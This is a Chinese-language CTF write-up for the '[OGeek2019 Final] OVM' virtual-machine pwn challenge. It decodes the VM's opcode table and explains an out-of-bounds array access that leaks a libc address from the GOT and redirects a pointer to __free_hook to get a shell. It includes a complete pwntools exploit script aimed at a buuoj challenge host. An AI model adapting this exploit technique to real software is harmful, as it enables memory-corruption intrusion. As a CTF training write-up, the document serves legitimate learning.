VM pwn

前言

第一次做VM pwn,虽然全程是跟着诸多大佬博客走的,但总得还是个里程碑,在pwn的路上走的更远了一些。pwn👶也想变成pwn👴,不知道这天还有多远~

wp来源:

https://blog.csdn.net/A951860555/article/details/117214601?spm=1001.2014.3001.5501

https://www.cnblogs.com/lemon629/p/13975686.html

https://blog.csdn.net/seaaseesa/article/details/105862737

https://zhuanlan.zhihu.com/p/257132453

[OGeek2019 Final]OVM

题目来自buuoj

image-20211004113441697

常规checksec一下,64位,stack没开

image-20211005191907462

主函数的代码审计

image-20211005191927756

fetch函数的话,取出pc指向的指令,并自动加1,指向下一条

image-20211005192113608

execute函数的代码审计,下面是根据代码整合出来的指令表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
instr  -->  op | num1 | num2 | num3  4B 32bit
op:
0x10 --> reg[num1] = unsigned_byte(instr)
0x20 --> reg[num1] = (byte(instr) == 0)
0x30 --> reg[num1] = memory[reg[num3]] --> mov mem, reg
0x40 --> memory[reg[num3]] = reg[num1] --> mov reg, mem
0x50 --> stack[sp++] = reg[num1] --> push reg
0x60 --> reg[num1] = stack[--sp] --> pop reg
0x70 --> reg[num1] = reg[num3] + reg[num2] --> add
0x80 --> reg[num1] = reg[num2] - reg[num3] --> sub
0x90 --> reg[num1] = reg[num3] & reg[num2] --> and
0xA0 --> reg[num1] = reg[num3] | reg[num2] --> or
0xB0 --> reg[num1] = reg[num3] ^ reg[num2] --> xor
0xC0 --> reg[num1] = reg[num2] << reg[num3]--> shl
0xD0 --> reg[num1] = reg[num2] >> reg[num3]--> shr
0XE0 and else --> exit

image-20211005183901799

image-20211005191434825

1
2
3
4
知识补充:
movsx 有符号扩展,并传送。通过符号进行判断,如果符号位是0,则扩展的全都是0,如果是1,则扩展的全都是1。而该题中的movsxd是一样的,可能是因为是从ecx拓展为rdx
movzx 无符号扩展,并传送。所以一般适用在无符号的小数值拷贝到大数值里面
两个指令扩展的位数都和目的操作寄存器的位数一致

结合汇编一起看,可以发现,数组下标没有禁止为负数的情况,所以是可以向上访问到got表,从而把函数地址放入寄存器中,获得函数地址。但是这边要注意,寄存器跟内存是4字节的,而泄露的地址是6字节的,、所以要用两个寄存器分别存放高四字节和低四字节

image-20211005195005486

image-20211005195011712

然后就是退出execute时,会往之前申请的堆块里面写入内容,再释放掉。但是因为这个堆块的地址是存放在.bss上的,在上面的数组越界同样可以修改,所以可以改为free_hook - 0x8,改为这个是因为我们要释放得是一块含有/bin/sh的堆块,所以要先有位置填充/bin/sh,然后再写入system函数。

声明:我下面的图都是忘了-0x8的,后面懒得再截图了

image-20211005210317826

可以看见,一顿操作后,寄存器上确实存放了一个libc地址,计算与free_hook的偏移即可

image-20211005211732444

然后通过0x10一个字节一个字节的加,最终改成free_hook

image-20211005212732683

跟第一步一样,把free_hook地址写入comment

然后就是输入/bin/sh以及system函数,即可getshell!

image-20211005213743697

成功!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./pwn")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so")
libc = ELF("./libc-2.23.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
p = remote("node4.buuoj.cn",28420)
def debug():
gdb.attach(p,"b *main")

def input_code(op,num1,num2,num3):
code = (op<<24) + (num1<<16) + (num2<<8) + num3
p.sendline(str(code))

'''
instr --> op | num1 | num2 | num3 4B 32bit
op:
0x10 --> reg[num1] = unsigned_byte(instr)
0x20 --> reg[num1] = (byte(instr) == 0)
0x30 --> reg[num1] = memory[reg[num3]] --> mov reg, mem
0x40 --> memory[reg[num3]] = reg[num1] --> mov mem, reg
0x50 --> stack[sp++] = reg[num1] --> push reg
0x60 --> reg[num1] = stack[--sp] --> pop reg
0x70 --> reg[num1] = reg[num3] + reg[num2] --> add
0x80 --> reg[num1] = reg[num2] - reg[num3] --> sub
0x90 --> reg[num1] = reg[num3] & reg[num2] --> and
0xA0 --> reg[num1] = reg[num3] | reg[num2] --> or
0xB0 --> reg[num1] = reg[num3] ^ reg[num2] --> xor
0xC0 --> reg[num1] = reg[num2] << reg[num3]--> shl
0xD0 --> reg[num1] = reg[num2] >> reg[num3]--> shr
0xE0 and else --> exit
'''
p.sendlineafter("PCPC: ",'0')
p.sendlineafter("SP: ",'1')
p.sendlineafter("CODE SIZE: ",'18')
p.recvuntil("CODE: ")
#写入libc
input_code(0x10,0,0,26)
input_code(0x80,1,1,0)
input_code(0x10,0,0,25)
input_code(0x80,2,2,0)
input_code(0x30,1,0,1)
input_code(0x30,2,0,2) #6
#修改libc
input_code(0x10,0,0,8)
input_code(0x10,3,0,0x10)
input_code(0xC0,3,3,0)
input_code(0x10,4,0,0xa0)
input_code(0x70,1,1,3)
input_code(0x70,1,1,4) #6
#修改comment
input_code(0x80,3,5,0)
input_code(0x10,0,0,7)
input_code(0x80,4,5,0)
input_code(0x40,1,0,3)
input_code(0x40,2,0,4)
input_code(0xE0,0,0,0) #6
p.recvuntil("R1: ")
addr1 = int(p.recv(8),16)
p.recvuntil("R2: ")
addr2 = int(p.recv(4),16)
addr = (addr2<<32) + addr1 - 0x3c67a0
log.info("libc_base: 0x%x" %addr)
p.recvuntil("HOW DO YOU FEEL AT OVM?\n")
p.send("/bin/sh\x00" + p64(libc.sym['system'] + addr))

p.interactive()

总结

所谓VM pwn,就是模拟虚拟机的底层运行机制,大逻辑上拥有内存、寄存器,内存细分还有堆栈等等,以及自己的一套指令集,所以如果就算碰到不是上面的给了符号表的,也可以通过这个大逻辑自己进行理解性的还原代码,使得代码更好阅读。这类型的pwn题难点更多就是在于代码逻辑的理解,知道指令集的操作,再找寻里面出现的漏洞,要具备十足的耐心,毕竟现在2021的题目肯定比上面复杂很多很多。

然后呢在分析虚拟机实现了哪些指令时,可以从下面两个大方向入手:首先找到虚拟实现的内存以及寄存器,比如程序可能单独malloc几块内存用来当作寄存器或者栈空间,亦或者就用全局变量来实现;第二步就是读代码逻辑,分析指令。有字符串,可以直接根据提示的字符串识别;没有字符串,则根据指令操作码操作数构成,操作数的个数还可分为一操作数指令、两操作数指令以及三操作数指令等概念加入到代码逻辑的阅读中,帮助我们快速分析和理解。

最后在调用寄存器进行布局getshell时,最好是要把代码中的指令进行整合,就像上面整合的一样,这样可以在写脚本,迅速知道操作码的取值以及操作对象的值

然后,加油!

查看评论